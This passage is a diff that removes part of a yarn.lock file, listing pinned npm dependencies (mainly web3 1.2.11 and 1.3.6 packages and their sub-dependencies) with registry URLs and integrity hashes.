-  resolved "https://registry.yarnpkg.com/util-deprecate/-/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf"
-  integrity sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=
-
-util.promisify@^1.0.0:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/util.promisify/-/util.promisify-1.1.1.tgz#77832f57ced2c9478174149cae9b96e9918cd54b"
-  integrity sha512-/s3UsZUrIfa6xDhr7zZhnE9SLQ5RIXyYfiVnMMyMDzOc8WhWN4Nbh36H842OyurKbCDAesZOJaVyvmSl6fhGQw==
-  dependencies:
-    call-bind "^1.0.0"
-    define-properties "^1.1.3"
-    for-each "^0.3.3"
-    has-symbols "^1.0.1"
-    object.getownpropertydescriptors "^2.1.1"
-
-util@^0.12.0:
-  version "0.12.3"
-  resolved "https://registry.yarnpkg.com/util/-/util-0.12.3.tgz#971bb0292d2cc0c892dab7c6a5d37c2bec707888"
-  integrity sha512-I8XkoQwE+fPQEhy9v012V+TSdH2kp9ts29i20TaaDUXsg7x/onePbhFJUExBfv/2ay1ZOp/Vsm3nDlmnFGSAog==
-  dependencies:
-    inherits "^2.0.3"
-    is-arguments "^1.0.4"
-    is-generator-function "^1.0.7"
-    is-typed-array "^1.1.3"
-    safe-buffer "^5.1.2"
-    which-typed-array "^1.1.2"
-
-utils-merge@1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/utils-merge/-/utils-merge-1.0.1.tgz#9f95710f50a267947b2ccc124741c1028427e713"
-  integrity sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=
-
-uuid@3.3.2:
-  version "3.3.2"
-  resolved "https://registry.yarnpkg.com/uuid/-/uuid-3.3.2.tgz#1b4af4955eb3077c501c23872fc6513811587131"
-  integrity sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA==
-
-uuid@^3.3.2:
-  version "3.4.0"
-  resolved "https://registry.yarnpkg.com/uuid/-/uuid-3.4.0.tgz#b23e4358afa8a202fe7a100af1f5f883f02007ee"
-  integrity sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==
-
-validate-npm-package-license@^3.0.1:
-  version "3.0.4"
-  resolved "https://registry.yarnpkg.com/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz#fc91f6b9c7ba15c857f4cb2c5defeec39d4f410a"
-  integrity sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==
-  dependencies:
-    spdx-correct "^3.0.0"
-    spdx-expression-parse "^3.0.0"
-
-varint@^5.0.0:
-  version "5.0.2"
-  resolved "https://registry.yarnpkg.com/varint/-/varint-5.0.2.tgz#5b47f8a947eb668b848e034dcfa87d0ff8a7f7a4"
-  integrity sha512-lKxKYG6H03yCZUpAGOPOsMcGxd1RHCu1iKvEHYDPmTyq2HueGhD73ssNBqqQWfvYs04G9iUFRvmAVLW20Jw6ow==
-
-vary@^1, vary@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/vary/-/vary-1.1.2.tgz#2299f02c6ded30d4a5961b0b9f74524a18f634fc"
-  integrity sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=
-
-verror@1.10.0:
-  version "1.10.0"
-  resolved "https://registry.yarnpkg.com/verror/-/verror-1.10.0.tgz#3a105ca17053af55d6e270c1f8288682e18da400"
-  integrity sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=
-  dependencies:
-    assert-plus "^1.0.0"
-    core-util-is "1.0.2"
-    extsprintf "^1.2.0"
-
-web3-bzz@1.2.11:
-  version "1.2.11"
-  resolved "https://registry.yarnpkg.com/web3-bzz/-/web3-bzz-1.2.11.tgz#41bc19a77444bd5365744596d778b811880f707f"
-  integrity sha512-XGpWUEElGypBjeFyUhTkiPXFbDVD6Nr/S5jznE3t8cWUA0FxRf1n3n/NuIZeb0H9RkN2Ctd/jNma/k8XGa3YKg==
-  dependencies:
-    "@types/node" "^12.12.6"
-    got "9.6.0"
-    swarm-js "^0.1.40"
-    underscore "1.9.1"
-
-web3-bzz@1.3.6:
-  version "1.3.6"
-  resolved "https://registry.yarnpkg.com/web3-bzz/-/web3-bzz-1.3.6.tgz#95f370aecc3ff6ad07f057e6c0c916ef09b04dde"
-  integrity sha512-ibHdx1wkseujFejrtY7ZyC0QxQ4ATXjzcNUpaLrvM6AEae8prUiyT/OloG9FWDgFD2CPLwzKwfSQezYQlANNlw==
-  dependencies:
-    "@types/node" "^12.12.6"
-    got "9.6.0"
-    swarm-js "^0.1.40"
-    underscore "1.12.1"
-
-web3-core-helpers@1.2.11:
-  version "1.2.11"
-  resolved "https://registry.yarnpkg.com/web3-core-helpers/-/web3-core-helpers-1.2.11.tgz#84c681ed0b942c0203f3b324a245a127e8c67a99"
-  integrity sha512-PEPoAoZd5ME7UfbnCZBdzIerpe74GEvlwT4AjOmHeCVZoIFk7EqvOZDejJHt+feJA6kMVTdd0xzRNN295UhC1A==
-  dependencies:
-    underscore "1.9.1"
-    web3-eth-iban "1.2.11"
-    web3-utils "1.2.11"
-
-web3-core-helpers@1.3.6:
-  version "1.3.6"
-  resolved "https://registry.yarnpkg.com/web3-core-helpers/-/web3-core-helpers-1.3.6.tgz#c478246a9abe4e5456acf42657dac2f7c330be74"
-  integrity sha512-nhtjA2ZbkppjlxTSwG0Ttu6FcPkVu1rCN5IFAOVpF/L0SEt+jy+O5l90+cjDq0jAYvlBwUwnbh2mR9hwDEJCNA==
-  dependencies:
-    underscore "1.12.1"
-    web3-eth-iban "1.3.6"
-    web3-utils "1.3.6"
-
-web3-core-method@1.2.11:
-  version "1.2.11"
-  resolved "https://registry.yarnpkg.com/web3-core-method/-/web3-core-method-1.2.11.tgz#f880137d1507a0124912bf052534f168b8d8fbb6"
-  integrity sha512-ff0q76Cde94HAxLDZ6DbdmKniYCQVtvuaYh+rtOUMB6kssa5FX0q3vPmixi7NPooFnbKmmZCM6NvXg4IreTPIw==
-  dependencies:
-    "@ethersproject/transactions" "^5.0.0-beta.135"
-    underscore "1.9.1"
-    web3-core-helpers "1.2.11"
-    web3-core-promievent "1.2.11"
-    web3-core-subscriptions "1.2.11"
-    web3-utils "1.2.11"
-
-web3-core-method@1.3.6:
-  version "1.3.6"
-  resolved "https://registry.yarnpkg.com/web3-core-method/-/web3-core-method-1.3.6.tgz#4b0334edd94b03dfec729d113c69a4eb6ebc68ae"
-  integrity sha512-RyegqVGxn0cyYW5yzAwkPlsSEynkdPiegd7RxgB4ak1eKk2Cv1q2x4C7D2sZjeeCEF+q6fOkVmo2OZNqS2iQxg==
-  dependencies:
-    "@ethersproject/transactions" "^5.0.0-beta.135"
-    underscore "1.12.1"
-    web3-core-helpers "1.3.6"
-    web3-core-promievent "1.3.6"
-    web3-core-subscriptions "1.3.6"
-    web3-utils "1.3.6"
-
-web3-core-promievent@1.2.11:
-  version "1.2.11"
-  resolved "https://registry.yarnpkg.com/web3-core-promievent/-/web3-core-promievent-1.2.11.tgz#51fe97ca0ddec2f99bf8c3306a7a8e4b094ea3cf"
-  integrity sha512-il4McoDa/Ox9Agh4kyfQ8Ak/9ABYpnF8poBLL33R/EnxLsJOGQG2nZhkJa3I067hocrPSjEdlPt/0bHXsln4qA==
-  dependencies:
-    eventemitter3 "4.0.4"
-
-web3-core-promievent@1.3.6:
-  version "1.3.6"
-  resolved "https://registry.yarnpkg.com/web3-core-promievent/-/web3-core-promievent-1.3.6.tgz#6c27dc79de8f71b74f5d17acaf9aaf593d3cb0c9"
-  integrity sha512-Z+QzfyYDTXD5wJmZO5wwnRO8bAAHEItT1XNSPVb4J1CToV/I/SbF7CuF8Uzh2jns0Cm1109o666H7StFFvzVKw==
-  dependencies:
-    eventemitter3 "4.0.4"
-
-web3-core-requestmanager@1.2.11:
-  version "1.2.11"
-  resolved "https://registry.yarnpkg.com/web3-core-requestmanager/-/web3-core-requestmanager-1.2.11.tgz#fe6eb603fbaee18530293a91f8cf26d8ae28c45a"
-  integrity sha512-oFhBtLfOiIbmfl6T6gYjjj9igOvtyxJ+fjS+byRxiwFJyJ5BQOz4/9/17gWR1Cq74paTlI7vDGxYfuvfE/mKvA==
-  dependencies:
-    underscore "1.9.1"
-    web3-core-helpers "1.2.11"
-    web3-providers-http "1.2.11"
-    web3-providers-ipc "1.2.11"
-    web3-providers-ws "1.2.11"
-
-web3-core-requestmanager@1.3.6:
-  version "1.3.6"
-  resolved "https://registry.yarnpkg.com/web3-core-requestmanager/-/web3-core-requestmanager-1.3.6.tgz#4fea269fe913fd4fca464b4f7c65cb94857b5b2a"
-  integrity sha512-2rIaeuqeo7QN1Eex7aXP0ZqeteJEPWXYFS/M3r3LXMiV8R4STQBKE+//dnHJXoo2ctzEB5cgd+7NaJM8S3gPyA==
-  dependencies:
-    underscore "1.12.1"
-    util "^0.12.0"
-    web3-core-helpers "1.3.6"
-    web3-providers-http "1.3.6"
-    web3-providers-ipc "1.3.6"
-    web3-providers-ws "1.3.6"
-
-web3-core-subscriptions@1.2.11:
-  version "1.2.11"
-  resolved "https://registry.yarnpkg.com/web3-core-subscriptions/-/web3-core-subscriptions-1.2.11.tgz#beca908fbfcb050c16f45f3f0f4c205e8505accd"
-  integrity sha512-qEF/OVqkCvQ7MPs1JylIZCZkin0aKK9lDxpAtQ1F8niEDGFqn7DT8E/vzbIa0GsOjL2fZjDhWJsaW+BSoAW1gg==
-  dependencies:
-    eventemitter3 "4.0.4"
-    underscore "1.9.1"
-    web3-core-helpers "1.2.11"
-
-web3-core-subscriptions@1.3.6:
-  version "1.3.6"
-  resolved "https://registry.yarnpkg.com/web3-core-subscriptions/-/web3-core-subscriptions-1.3.6.tgz#ee24e7974d1d72ff6c992c599deba4ef9b308415"
-  integrity sha512-wi9Z9X5X75OKvxAg42GGIf81ttbNR2TxzkAsp1g+nnp5K8mBwgZvXrIsDuj7Z7gx72Y45mWJADCWjk/2vqNu8g==
-  dependencies:
-    eventemitter3 "4.0.4"
-    underscore "1.12.1"
-    web3-core-helpers "1.3.6"
-
-web3-core@1.2.11:
-  version "1.2.11"
-  resolved "https://registry.yarnpkg.com/web3-core/-/web3-core-1.2.11.tgz#1043cacc1becb80638453cc5b2a14be9050288a7"
-  integrity sha512-CN7MEYOY5ryo5iVleIWRE3a3cZqVaLlIbIzDPsvQRUfzYnvzZQRZBm9Mq+ttDi2STOOzc1MKylspz/o3yq/LjQ==
-  dependencies:
-    "@types/bn.js" "^4.11.5"
-    "@types/node" "^12.12.6"
-    bignumber.js "^9.0.0"
-    web3-core-helpers "1.2.11"
-    web3-core-method "1.2.11"
-    web3-core-requestmanager "1.2.11"
-    web3-utils "1.2.11"
-
-web3-core@1.3.6:
-  version "1.3.6"
-  resolved "https://registry.yarnpkg.com/web3-core/-/web3-core-1.3.6.tgz#a6a761d1ff2f3ee462b8dab679229d2f8e267504"
-  integrity sha512-gkLDM4T1Sc0T+HZIwxrNrwPg0IfWI0oABSglP2X5ZbBAYVUeEATA0o92LWV8BeF+okvKXLK1Fek/p6axwM/h3Q==
-  dependencies:
-    "@types/bn.js" "^4.11.5"
-    "@types/node" "^12.12.6"
-    bignumber.js "^9.0.0"
-    web3-core-helpers "1.3.6"
-    web3-core-method "1.3.6"
-    web3-core-requestmanager "1.3.6"
-    web3-utils "1.3.6"
-
-web3-eth-abi@1.2.11:
-  version "1.2.11"
-  resolved "https://registry.yarnpkg.com/web3-eth-abi/-/web3-eth-abi-1.2.11.tgz#a887494e5d447c2926d557a3834edd66e17af9b0"
-  integrity sha512-PkRYc0+MjuLSgg03QVWqWlQivJqRwKItKtEpRUaxUAeLE7i/uU39gmzm2keHGcQXo3POXAbOnMqkDvOep89Crg==
-  dependencies:
-    "@ethersproject/abi" "5.0.0-beta.153"
-    underscore "1.9.1"
-    web3-utils "1.2.11"
-
-web3-eth-abi@1.3.6:
-  version "1.3.6"
-  resolved "https://registry.yarnpkg.com/web3-eth-abi/-/web3-eth-abi-1.3.6.tgz#4272ca48d817aa651bbf97b269f5ff10abc2b8a9"
-  integrity sha512-Or5cRnZu6WzgScpmbkvC6bfNxR26hqiKK4i8sMPFeTUABQcb/FU3pBj7huBLYbp9dH+P5W79D2MqwbWwjj9DoQ==
-  dependencies:
-    "@ethersproject/abi" "5.0.7"
-    underscore "1.12.1"
-    web3-utils "1.3.6"
-
-web3-eth-accounts@1.2.11:
-  version "1.2.11"
-  resolved "https://registry.yarnpkg.com/web3-eth-accounts/-/web3-eth-accounts-1.2.11.tgz#a9e3044da442d31903a7ce035a86d8fa33f90520"
-  integrity sha512-6FwPqEpCfKIh3nSSGeo3uBm2iFSnFJDfwL3oS9pyegRBXNsGRVpgiW63yhNzL0796StsvjHWwQnQHsZNxWAkGw==
-  dependencies:
-    crypto-browserify "3.12.0"
-    eth-lib "0.2.8"
-    ethereumjs-common "^1.3.2"
-    ethereumjs-tx "^2.1.1"
-    scrypt-js "^3.0.1"
-    underscore "1.9.1"
-    uuid "3.3.2"
-    web3-core "1.2.11"
-    web3-core-helpers "1.2.11"
-    web3-core-method "1.2.11"
-    web3-utils "1.2.11"
-
-web3-eth-accounts@1.3.6:
-  version "1.3.6"
-  resolved "https://registry.yarnpkg.com/web3-eth-accounts/-/web3-eth-accounts-1.3.6.tgz#f9fcb50b28ee58090ab292a10d996155caa2b474"
-  integrity sha512-Ilr0hG6ONbCdSlVKffasCmNwftD5HsNpwyQASevocIQwHdTlvlwO0tb3oGYuajbKOaDzNTwXfz25bttAEoFCGA==
-  dependencies:
-    crypto-browserify "3.12.0"
-    eth-lib "0.2.8"
-    ethereumjs-common "^1.3.2"
-    ethereumjs-tx "^2.1.1"
-    scrypt-js "^3.0.1"
-    underscore "1.12.1"
-    uuid "3.3.2"
-    web3-core "1.3.6"
-    web3-core-helpers "1.3.6"
-    web3-core-method "1.3.6"
-    web3-utils "1.3.6"
-
-web3-eth-contract@1.2.11:
-  version "1.2.11"
-  resolved "https://registry.yarnpkg.com/web3-eth-contract/-/web3-eth-contract-1.2.11.tgz#917065902bc27ce89da9a1da26e62ef663663b90"
-  integrity sha512-MzYuI/Rq2o6gn7vCGcnQgco63isPNK5lMAan2E51AJLknjSLnOxwNY3gM8BcKoy4Z+v5Dv00a03Xuk78JowFow==
-  dependencies:
-    "@types/bn.js" "^4.11.5"
-    underscore "1.9.1"
-    web3-core "1.2.11"
-    web3-core-helpers "1.2.11"
-    web3-core-method "1.2.11"
-    web3-core-promievent "1.2.11"
-    web3-core-subscriptions "1.2.11"
-    web3-eth-abi "1.2.11"
-    web3-utils "1.2.11"
-
-web3-eth-contract@1.3.6:
-  version "1.3.6"
-  resolved "https://registry.yarnpkg.com/web3-eth-contract/-/web3-eth-contract-1.3.6.tgz#cccf4d32dc56917fb6923e778498a9ba2a5ba866"
-  integrity sha512-8gDaRrLF2HCg+YEZN1ov0zN35vmtPnGf3h1DxmJQK5Wm2lRMLomz9rsWsuvig3UJMHqZAQKD7tOl3ocJocQsmA==
-  dependencies:
-    "@types/bn.js" "^4.11.5"
-    underscore "1.12.1"
-    web3-core "1.3.6"
-    web3-core-helpers "1.3.6"
-    web3-core-method "1.3.6"
-    web3-core-promievent "1.3.6"
-    web3-core-subscriptions "1.3.6"
-    web3-eth-abi "1.3.6"
-    web3-utils "1.3.6"
-
-web3-eth-ens@1.2.11:
-  version "1.2.11"
-  resolved "https://registry.yarnpkg.com/web3-eth-ens/-/web3-eth-ens-1.2.11.tgz#26d4d7f16d6cbcfff918e39832b939edc3162532"
-  integrity sha512-dbW7dXP6HqT1EAPvnniZVnmw6TmQEKF6/1KgAxbo8iBBYrVTMDGFQUUnZ+C4VETGrwwaqtX4L9d/FrQhZ6SUiA==
-  dependencies:
-    content-hash "^2.5.2"
-    eth-ens-namehash "2.0.8"
-    underscore "1.9.1"
-    web3-core "1.2.11"
-    web3-core-helpers "1.2.11"
-    web3-core-promievent "1.2.11"
-    web3-eth-abi "1.2.11"
-    web3-eth-contract "1.2.11"
-    web3-utils "1.2.11"
-
-web3-eth-ens@1.3.6:
-  version "1.3.6"
-  resolved "https://registry.yarnpkg.com/web3-eth-ens/-/web3-eth-ens-1.3.6.tgz#0d28c5d4ea7b4462ef6c077545a77956a6cdf175"
-  integrity sha512-n27HNj7lpSkRxTgSx+Zo7cmKAgyg2ElFilaFlUu/X2CNH23lXfcPm2bWssivH9z0ndhg0OyR4AYFZqPaqDHkJA==
-  dependencies:
-    content-hash "^2.5.2"
-    eth-ens-namehash "2.0.8"
-    underscore "1.12.1"
-    web3-core "1.3.6"
-    web3-core-helpers "1.3.6"
-    web3-core-promievent "1.3.6"
-    web3-eth-abi "1.3.6"
-    web3-eth-contract "1.3.6"
-    web3-utils "1.3.6"
-
-web3-eth-iban@1.2.11:
-  version "1.2.11"
-  resolved "https://registry.yarnpkg.com/web3-eth-iban/-/web3-eth-iban-1.2.11.tgz#f5f73298305bc7392e2f188bf38a7362b42144ef"
-  integrity sha512-ozuVlZ5jwFC2hJY4+fH9pIcuH1xP0HEFhtWsR69u9uDIANHLPQQtWYmdj7xQ3p2YT4bQLq/axKhZi7EZVetmxQ==
-  dependencies:
-    bn.js "^4.11.9"
-    web3-utils "1.2.11"
-
-web3-eth-iban@1.3.6:
-  version "1.3.6"
-  resolved "https://registry.yarnpkg.com/web3-eth-iban/-/web3-eth-iban-1.3.6.tgz#0d6ba21fe78f190af8919e9cd5453882457209e0"
-  integrity sha512-nfMQaaLA/zsg5W4Oy/EJQbs8rSs1vBAX6b/35xzjYoutXlpHMQadujDx2RerTKhSHqFXSJeQAfE+2f6mdhYkRQ==
-  dependencies:
-    bn.js "^4.11.9"
-    web3-utils "1.3.6"
-
-web3-eth-personal@1.2.11:
-  version "1.2.11"
-  resolved "https://registry.yarnpkg.com/web3-eth-personal/-/web3-eth-personal-1.2.11.tgz#a38b3942a1d87a62070ce0622a941553c3d5aa70"
-  integrity sha512-42IzUtKq9iHZ8K9VN0vAI50iSU9tOA1V7XU2BhF/tb7We2iKBVdkley2fg26TxlOcKNEHm7o6HRtiiFsVK4Ifw==
-  dependencies:
-    "@types/node" "^12.12.6"
-    web3-core "1.2.11"
-    web3-core-helpers "1.2.11"
-    web3-core-method "1.2.11"
-    web3-net "1.2.11"
-    web3-utils "1.2.11"
-
-web3-eth-personal@1.3.6:
-  version "1.3.6"
-  resolved "https://registry.yarnpkg.com/web3-eth-personal/-/web3-eth-personal-1.3.6.tgz#226137916754c498f0284f22c55924c87a2efcf0"
-  integrity sha512-pOHU0+/h1RFRYoh1ehYBehRbcKWP4OSzd4F7mDljhHngv6W8ewMHrAN8O1ol9uysN2MuCdRE19qkRg5eNgvzFQ==
-  dependencies:
-    "@types/node" "^12.12.6"
-    web3-core "1.3.6"
-    web3-core-helpers "1.3.6"
-    web3-core-method "1.3.6"
-    web3-net "1.3.6"
-    web3-utils "1.3.6"
-
-web3-eth@1.2.11:
-  version "1.2.11"
-  resolved "https://registry.yarnpkg.com/web3-eth/-/web3-eth-1.2.11.tgz#4c81fcb6285b8caf544058fba3ae802968fdc793"
-  integrity sha512-REvxW1wJ58AgHPcXPJOL49d1K/dPmuw4LjPLBPStOVkQjzDTVmJEIsiLwn2YeuNDd4pfakBwT8L3bz1G1/wVsQ==
-  dependencies:
-    underscore "1.9.1"
-    web3-core "1.2.11"
-    web3-core-helpers "1.2.11"
-    web3-core-method "1.2.11"
-    web3-core-subscriptions "1.2.11"
-    web3-eth-abi "1.2.11"
-    web3-eth-accounts "1.2.11"
-    web3-eth-contract "1.2.11"
-    web3-eth-ens "1.2.11"
-    web3-eth-iban "1.2.11"
-    web3-eth-personal "1.2.11"
-    web3-net "1.2.11"
-    web3-utils "1.2.11"
-
-web3-eth@1.3.6:
-  version "1.3.6"
-  resolved "https://registry.yarnpkg.com/web3-eth/-/web3-eth-1.3.6.tgz#2c650893d540a7a0eb1365dd5b2dca24ac919b7c"
-  integrity sha512-9+rnywRRpyX3C4hfsAQXPQh6vHh9XzQkgLxo3gyeXfbhbShUoq2gFVuy42vsRs//6JlsKdyZS7Z3hHPHz2wreA==
-  dependencies:
-    underscore "1.12.1"
-    web3-core "1.3.6"
-    web3-core-helpers "1.3.6"
-    web3-core-method "1.3.6"
-    web3-core-subscriptions "1.3.6"
-    web3-eth-abi "1.3.6"
-    web3-eth-accounts "1.3.6"
-    web3-eth-contract "1.3.6"
-    web3-eth-ens "1.3.6"
-    web3-eth-iban "1.3.6"
-    web3-eth-personal "1.3.6"
-    web3-net "1.3.6"
-    web3-utils "1.3.6"
-
-web3-net@1.2.11:
-  version "1.2.11"
-  resolved "https://registry.yarnpkg.com/web3-net/-/web3-net-1.2.11.tgz#eda68ef25e5cdb64c96c39085cdb74669aabbe1b"
-  integrity sha512-sjrSDj0pTfZouR5BSTItCuZ5K/oZPVdVciPQ6981PPPIwJJkCMeVjD7I4zO3qDPCnBjBSbWvVnLdwqUBPtHxyg==
-  dependencies:
-    web3-core "1.2.11"
-    web3-core-method "1.2.11"
-    web3-utils "1.2.11"
-
-web3-net@1.3.6:
-  version "1.3.6"
-  resolved "https://registry.yarnpkg.com/web3-net/-/web3-net-1.3.6.tgz#a56492e2227475e38db29394f8bac305a2446e41"
-  integrity sha512-KhzU3wMQY/YYjyMiQzbaLPt2kut88Ncx2iqjy3nw28vRux3gVX0WOCk9EL/KVJBiAA/fK7VklTXvgy9dZnnipw==
-  dependencies:
-    web3-core "1.3.6"
-    web3-core-method "1.3.6"
-    web3-utils "1.3.6"
-
-web3-provider-engine@14.2.1:
-  version "14.2.1"
-  resolved "https://registry.yarnpkg.com/web3-provider-engine/-/web3-provider-engine-14.2.1.tgz#ef351578797bf170e08d529cb5b02f8751329b95"
-  integrity sha512-iSv31h2qXkr9vrL6UZDm4leZMc32SjWJFGOp/D92JXfcEboCqraZyuExDkpxKw8ziTufXieNM7LSXNHzszYdJw==
-  dependencies:
-    async "^2.5.0"
-    backoff "^2.5.0"
-    clone "^2.0.0"
-    cross-fetch "^2.1.0"
-    eth-block-tracker "^3.0.0"
-    eth-json-rpc-infura "^3.1.0"
-    eth-sig-util "^1.4.2"
-    ethereumjs-block "^1.2.2"
-    ethereumjs-tx "^1.2.0"
-    ethereumjs-util "^5.1.5"
-    ethereumjs-vm "^2.3.4"
-    json-rpc-error "^2.0.0"
-    json-stable-stringify "^1.0.1"
-    promise-to-callback "^1.0.0"
-    readable-stream "^2.2.9"
-    request "^2.85.0"
-    semaphore "^1.0.3"
-    ws "^5.1.1"
-    xhr "^2.2.0"
-    xtend "^4.0.1"
-
-web3-providers-http@1.2.11:
-  version "1.2.11"
-  resolved "https://registry.yarnpkg.com/web3-providers-http/-/web3-providers-http-1.2.11.tgz#1cd03442c61670572d40e4dcdf1faff8bd91e7c6"
-  integrity sha512-psh4hYGb1+ijWywfwpB2cvvOIMISlR44F/rJtYkRmQ5jMvG4FOCPlQJPiHQZo+2cc3HbktvvSJzIhkWQJdmvrA==
-  dependencies:
-    web3-core-helpers "1.2.11"
-    xhr2-cookies "1.1.0"
-
-web3-providers-http@1.3.6:
-  version "1.3.6"
-  resolved "https://registry.yarnpkg.com/web3-providers-http/-/web3-providers-http-1.3.6.tgz#36e8724a7424d52827819d53fd75dbf31f5422c2"
-  integrity sha512-OQkT32O1A06dISIdazpGLveZcOXhEo5cEX6QyiSQkiPk/cjzDrXMw4SKZOGQbbS1+0Vjizm1Hrp7O8Vp2D1M5Q==
-  dependencies:
-    web3-core-helpers "1.3.6"
-    xhr2-cookies "1.1.0"
-
-web3-providers-ipc@1.2.11:
-  version "1.2.11"
-  resolved "https://registry.yarnpkg.com/web3-providers-ipc/-/web3-providers-ipc-1.2.11.tgz#d16d6c9be1be6e0b4f4536c4acc16b0f4f27ef21"
-  integrity sha512-yhc7Y/k8hBV/KlELxynWjJDzmgDEDjIjBzXK+e0rHBsYEhdCNdIH5Psa456c+l0qTEU2YzycF8VAjYpWfPnBpQ==
-  dependencies:
-    oboe "2.1.4"
-    underscore "1.9.1"
-    web3-core-helpers "1.2.11"
-
-web3-providers-ipc@1.3.6:
-  version "1.3.6"
-  resolved "https://registry.yarnpkg.com/web3-providers-ipc/-/web3-providers-ipc-1.3.6.tgz#cef8d12c1ebb47adce5ebf597f553c623362cb4a"
-  integrity sha512-+TVsSd2sSVvVgHG4s6FXwwYPPT91boKKcRuEFXqEfAbUC5t52XOgmyc2LNiD9LzPhed65FbV4LqICpeYGUvSwA==
-  dependencies:
-    oboe "2.1.5"
-    underscore "1.12.1"
-    web3-core-helpers "1.3.6"
-
-web3-providers-ws@1.2.11:
-  version "1.2.11"
-  resolved "https://registry.yarnpkg.com/web3-providers-ws/-/web3-providers-ws-1.2.11.tgz#a1dfd6d9778d840561d9ec13dd453046451a96bb"
-  integrity sha512-ZxnjIY1Er8Ty+cE4migzr43zA/+72AF1myzsLaU5eVgdsfV7Jqx7Dix1hbevNZDKFlSoEyq/3j/jYalh3So1Zg==
-  dependencies:
-    eventemitter3 "4.0.4"
-    underscore "1.9.1"
-    web3-core-helpers "1.2.11"
-    websocket "^1.0.31"
-
-web3-providers-ws@1.3.6:
-  version "1.3.6"
-  resolved "https://registry.yarnpkg.com/web3-providers-ws/-/web3-providers-ws-1.3.6.tgz#e1df617bc89d66165abdf2191da0014c505bfaac"
-  integrity sha512-bk7MnJf5or0Re2zKyhR3L3CjGululLCHXx4vlbc/drnaTARUVvi559OI5uLytc/1k5HKUUyENAxLvetz2G1dnQ==
-  dependencies:
-    eventemitter3 "4.0.4"
-    underscore "1.12.1"
-    web3-core-helpers "1.3.6"
-    websocket "^1.0.32"
-
-web3-shh@1.2.11:
-  version "1.2.11"
-  resolved "https://registry.yarnpkg.com/web3-shh/-/web3-shh-1.2.11.tgz#f5d086f9621c9a47e98d438010385b5f059fd88f"
-  integrity sha512-B3OrO3oG1L+bv3E1sTwCx66injW1A8hhwpknDUbV+sw3fehFazA06z9SGXUefuFI1kVs4q2vRi0n4oCcI4dZDg==
-  dependencies:
-    web3-core "1.2.11"
-    web3-core-method "1.2.11"
-    web3-core-subscriptions "1.2.11"
-    web3-net "1.2.11"
-
-web3-shh@1.3.6:
-  version "1.3.6"
-  resolved "https://registry.yarnpkg.com/web3-shh/-/web3-shh-1.3.6.tgz#4e3486c7eca5cbdb87f88910948223a5b7ea6c20"
-  integrity sha512-9zRo415O0iBslxBnmu9OzYjNErzLnzOsy+IOvSpIreLYbbAw0XkDWxv3SfcpKnTIWIACBR4AYMIxmmyi5iB3jw==
-  dependencies:
-    web3-core "1.3.6"
-    web3-core-method "1.3.6"
-    web3-core-subscriptions "1.3.6"
-    web3-net "1.3.6"
-
-web3-utils@1.2.11:
-  version "1.2.11"
-  resolved "https://registry.yarnpkg.com/web3-utils/-/web3-utils-1.2.11.tgz#af1942aead3fb166ae851a985bed8ef2c2d95a82"
-  integrity sha512-3Tq09izhD+ThqHEaWYX4VOT7dNPdZiO+c/1QMA0s5X2lDFKK/xHJb7cyTRRVzN2LvlHbR7baS1tmQhSua51TcQ==
-  dependencies:
-    bn.js "^4.11.9"
-    eth-lib "0.2.8"
-    ethereum-bloom-filters "^1.0.6"
-    ethjs-unit "0.1.6"
-    number-to-bn "1.7.0"
-    randombytes "^2.1.0"
-    underscore "1.9.1"
-    utf8 "3.0.0"
-
-web3-utils@1.3.6, web3-utils@^1.0.0-beta.31:
-  version "1.3.6"
-  resolved "https://registry.yarnpkg.com/web3-utils/-/web3-utils-1.3.6.tgz#390bc9fa3a7179746963cfaca55bb80ac4d8dc10"
-  integrity sha512-hHatFaQpkQgjGVER17gNx8u1qMyaXFZtM0y0XLGH1bzsjMPlkMPLRcYOrZ00rOPfTEuYFOdrpGOqZXVmGrMZRg==
-  dependencies:
-    bn.js "^4.11.9"
-    eth-lib "0.2.8"
-    ethereum-bloom-filters "^1.0.6"
-    ethjs-unit "0.1.6"
-    number-to-bn "1.7.0"
-    randombytes "^2.1.0"
-    underscore "1.12.1"
-    utf8 "3.0.0"
-
-web3@1.2.11:
-  version "1.2.11"
-  resolved "https://registry.yarnpkg.com/web3/-/web3-1.2.11.tgz#50f458b2e8b11aa37302071c170ed61cff332975"
-  integrity sha512-mjQ8HeU41G6hgOYm1pmeH0mRAeNKJGnJEUzDMoerkpw7QUQT4exVREgF1MYPvL/z6vAshOXei25LE/t/Bxl8yQ==
-  dependencies:
-    web3-bzz "1.2.11"
-    web3-core "1.2.11"
-    web3-eth "1.2.11"
-    web3-eth-personal "1.2.11"
-    web3-net "1.2.11"
-    web3-shh "1.2.11"
-    web3-utils "1.2.11"
-
-web3@^1.3.5:
-  version "1.3.6"
-  resolved "https://registry.yarnpkg.com/web3/-/web3-1.3.6.tgz#599425461c3f9a8cbbefa70616438995f4a064cc"
-  integrity sha512-jEpPhnL6GDteifdVh7ulzlPrtVQeA30V9vnki9liYlUvLV82ZM7BNOQJiuzlDePuE+jZETZSP/0G/JlUVt6pOA==
-  dependencies:
-    web3-bzz "1.3.6"
-    web3-core "1.3.6"
-    web3-eth "1.3.6"
-    web3-eth-personal "1.3.6"
-    web3-net "1.3.6"
-    web3-shh "1.3.6"
-    web3-utils "1.3.6"
-
-websocket@1.0.32:
-  version "1.0.32"
-  resolved "https://registry.yarnpkg.com/websocket/-/websocket-1.0.32.tgz#1f16ddab3a21a2d929dec1687ab21cfdc6d3dbb1"
